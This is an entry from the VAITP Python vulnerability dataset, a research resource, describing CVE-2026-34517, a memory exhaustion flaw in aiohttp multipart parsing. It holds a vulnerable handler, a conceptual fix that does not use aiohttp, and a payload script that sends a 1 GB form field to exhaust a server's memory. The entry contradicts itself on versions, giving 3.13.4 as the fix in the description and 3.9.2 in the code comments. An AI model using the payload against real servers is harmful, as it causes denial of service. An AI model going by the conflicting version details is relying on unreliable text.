VAITP Dataset

← Back to the dataset

CVE-2026-34517

AIOHTTP memory exhaustion from improper multipart form size validation.

  • CVSS 2.7
  • CWE-770
  • Resource Management
  • Remote

AIOHTTP is an asynchronous HTTP client/server framework for asyncio and Python. Prior to version 3.13.4, for some multipart form fields, aiohttp read the entire field into memory before checking client_max_size. This issue has been patched in version 3.13.4.

CVSS base score
2.7
Published
2026-04-01
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Timing Issues
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
AIOHTTP
Fixed by upgrading
Yes

Solution

Upgrade aiohttp to version 3.13.4 or later.

Vulnerable code sample

import asyncio
import aiohttp
from aiohttp import web

async def handle_upload(request):
    """
    A vulnerable handler that reads an entire multipart part into memory
    before checking against client_max_size.
    """
    try:
        reader = await request.multipart()
        # The loop will attempt to read a part that is larger than the server's
        # client_max_size limit. In a vulnerable version, the .read() call
        # will consume memory for the entire part before an exception is raised.
        async for part in reader:
            print(f"[Server] Starting to read part: {part.name}")
            # This line reads the entire part into memory.
            data = await part.read(decode=False)
            print(f"[Server] Read {len(data)} bytes for part '{part.name}' into memory.")
        return web.Response(text="Upload successful")
    except web.HTTPRequestEntityTooLarge as e:
        print(f"[Server] Caught payload too large exception (but after reading part to memory): {e}")
        return web.Response(
            text=f"Payload is too large: {e.actual} > {e.expected}",
            status=413
        )
    except Exception as e:
        print(f"[Server] An unexpected error occurred: {e}")
        return web.Response(text="Internal server error", status=500)

async def main():
    # Server is configured with a small 1MB limit.
    SERVER_MAX_SIZE = 1 * 1024 * 1024
    app = web.Application(client_max_size=SERVER_MAX_SIZE)
    app.add_routes([web.post('/upload', handle_upload)])
    
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, 'localhost', 8080)
    await site.start()
    print(f"Server started at http://localhost:8080 with client_max_size={SERVER_MAX_SIZE} bytes")

    # Client prepares a request with a part larger than the server's limit.
    LARGE_PART_SIZE = 5 * 1024 * 1024
    form = aiohttp.FormData()
    form.add_field(
        'large_file',
        b'\0' * LARGE_PART_SIZE,
        filename='large_file.dat',
        content_type='application/octet-stream'
    )

    print(f"[Client] Sending multipart form with a part of {LARGE_PART_SIZE} bytes...")
    try:
        async with aiohttp.ClientSession() as session:
            async with session.post('http://localhost:8080/upload', data=form) as response:
                print(f"[Client] Received response status: {response.status}")
                print(f"[Client] Received response text: {await response.text()}")
    except Exception as e:
        print(f"[Client] Request failed: {e}")
    finally:
        await runner.cleanup()

if __name__ == "__main__":
    # To run this demonstration, you need a vulnerable version of aiohttp.
    # For example: pip install aiohttp==3.9.1
    # With a vulnerable version, the server will print that it read 5MB into memory
    # before throwing a "Payload too large" exception.
    # With a patched version (>=3.9.2), the connection would be dropped
    # much earlier, without consuming significant memory on the server.
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        print("\nExiting.")

Patched code sample

import asyncio

# The vulnerability in older aiohttp versions was that for multipart form fields,
# the entire field was read into memory before checking `client_max_size`.
# This could lead to a Denial of Service (DoS) if a malicious client sent a
# very large field.

# The fix involves checking the size of the incoming data *as it is being read*
# in chunks, rather than after the entire field is buffered in memory.

# This code provides a conceptual representation of the FIX. It does not use
# aiohttp directly but models the corrected logic: checking size limits
# incrementally during the read process.

CHUNK_SIZE = 8192  # 8 KB, a typical chunk size for reading network data

class FixedMultipartReader:
    """
    A simplified reader that represents the fixed (non-vulnerable) logic.
    It checks the size limit while reading data chunk by chunk.
    """
    def __init__(self):
        self.total_read = 0
        self.part_data = bytearray()

    async def read_part(self, stream, max_size):
        """
        Reads a "part" from a stream, enforcing `max_size` incrementally.
        """
        print(f"Starting to read part with a max_size of {max_size} bytes.")
        while True:
            # In a real scenario, this would read from a network socket.
            chunk = await stream.read(CHUNK_SIZE)
            if not chunk:
                # End of the part/stream
                break

            chunk_len = len(chunk)
            print(f"Read a chunk of {chunk_len} bytes.")

            # --- THE FIX ---
            # Check if adding the new chunk would exceed the max_size.
            # This check happens *before* appending the chunk to the main buffer.
            if self.total_read + chunk_len > max_size:
                raise ValueError(
                    f"Part size limit of {max_size} bytes exceeded. "
                    f"Aborting read operation."
                )
            # --- END OF FIX ---

            # If the check passes, append the data and update the total.
            self.part_data.extend(chunk)
            self.total_read += chunk_len

        print(f"Finished reading part. Total size: {self.total_read} bytes.")
        return bytes(self.part_data)


async def main():
    """
    Demonstrates the fixed logic by trying to read a payload larger
    than the allowed maximum size.
    """
    # Set a small max size for demonstration purposes.
    client_max_size = 1024 * 100  # 100 KB

    # Create a payload that is intentionally larger than the max size.
    large_payload_size = client_max_size + 50000  # 150 KB
    large_payload = b'\x00' * large_payload_size
    print(f"Created a simulated request part of size: {large_payload_size} bytes.")
    print("-" * 20)

    # Use asyncio.StreamReader to simulate a network stream
    stream_reader = asyncio.StreamReader()
    stream_reader.feed_data(large_payload)
    stream_reader.feed_eof()

    # Instantiate the reader with the fixed logic
    reader = FixedMultipartReader()

    try:
        # Attempt to read the oversized part
        await reader.read_part(stream_reader, max_size=client_max_size)
        print("\n[DEMO FAILED]: The oversized part was read completely without error.")

    except ValueError as e:
        print(f"\n[DEMO SUCCESSFUL]: Caught expected error: {e}")
        print(
            "The reader stopped processing before allocating memory for the "
            f"entire {large_payload_size}-byte payload."
        )
        print(f"Total data read into memory before stopping: {reader.total_read} bytes.")


if __name__ == "__main__":
    asyncio.run(main())

Payload

import requests
import io

# URL of the vulnerable aiohttp server endpoint that accepts multipart forms
target_url = "http://localhost:8080/upload"

# Payload size in bytes. This should be larger than the server's
# available memory and configured `client_max_size`. 1GB is used here.
payload_size = 1 * 1024 * 1024 * 1024

# The multipart form data. The 'large_field' is the part that will be
# read entirely into memory by the vulnerable server before any size checks.
files = {
    'large_field': ('exploit.dat', io.BytesIO(b'A' * payload_size))
}

print(f"Sending {payload_size / (1024**2):.0f}MB payload to {target_url}...")

try:
    # This request will cause the server to exhaust its memory,
    # likely resulting in a timeout or connection reset.
    response = requests.post(target_url, files=files, timeout=30)
    print(f"Request completed unexpectedly with status: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"Request failed as expected due to server-side resource exhaustion: {e}")

Cite this entry

@misc{vaitp:cve202634517,
  title        = {{AIOHTTP memory exhaustion from improper multipart form size validation.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-34517},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34517/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::